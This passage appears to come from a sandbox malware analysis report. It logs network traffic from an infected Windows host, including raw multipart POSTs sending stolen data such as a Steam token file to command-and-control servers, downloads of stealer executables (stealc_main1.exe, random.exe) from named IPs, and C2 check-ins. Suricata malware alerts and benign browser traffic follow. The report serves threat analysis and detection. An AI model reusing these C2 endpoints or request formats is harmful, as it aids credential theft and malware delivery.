name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"files------DBFHDHJKKJDHJJJJKEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file"------AAEHIDAKECFIEBGDHJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="message"ybncbhylepme------BFCAAEHJDBKJJKFHJEBK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 30 66 33 63 31 34 63 32 31 61 63 62 30 64 65 36 31 62 30 61 65 38 65 39 64 38 66 61 64 64 39 30 38 63 63 36 37 30 32 61 31 35 36 61 31 62 65 34 30 37 31 64 31 33 34 32 64 35 36 65 32 65 39 31 38 32 35 39 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="token"080f3c14c21acb0de61b0ae8e9d8fadd908cc6702a156a1be4071d1342d56e2e9182592e------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJECBAAAFHIIEBFCBKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: GET /files/stealc_main1.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 31.177.109.184Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /8331a12a495c21b2.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDHost: 31.177.109.184Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 46 32 43 38 30 30 32 32 41 46 32 38 31 32 36 33 31 37 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 43 4c 4f 55 44 59 54 4e 45 57 53 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="hwid"3AF2C80022AF281263175------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="build"CLOUDYTNEWS------BKJKEBGDHDAFHJKEGIID--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007698001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 36 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007699001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49752 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49832 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49915 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49933 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlqHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlqHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bslUwWlH7asp55+&MD=TSa4H7Ug HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732722650&P2=404&P3=2&P4=Kioegs7HyTLuQ2tcE6dC02xamGfg5pwQoXFZUulxy8yXg7tGhp56KzBpnIL05tp61EM%2fIwDYrix3veEngEr%2fjQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 9TpKF+oLGC3SZRUdSr+9GcSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1732117857297&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D807BBDD89D650538396E80D9B4640A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0D807BBDD89D650538396E80D9B4640A&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=779d89faa5ce4df9a8e24bc93effc1df HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0D807BBDD89D650538396E80D9B4640A; _EDGE_S=F=1&SID=2FAAB3D8EF8A6AB60F47A6E5EE9B6BD9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
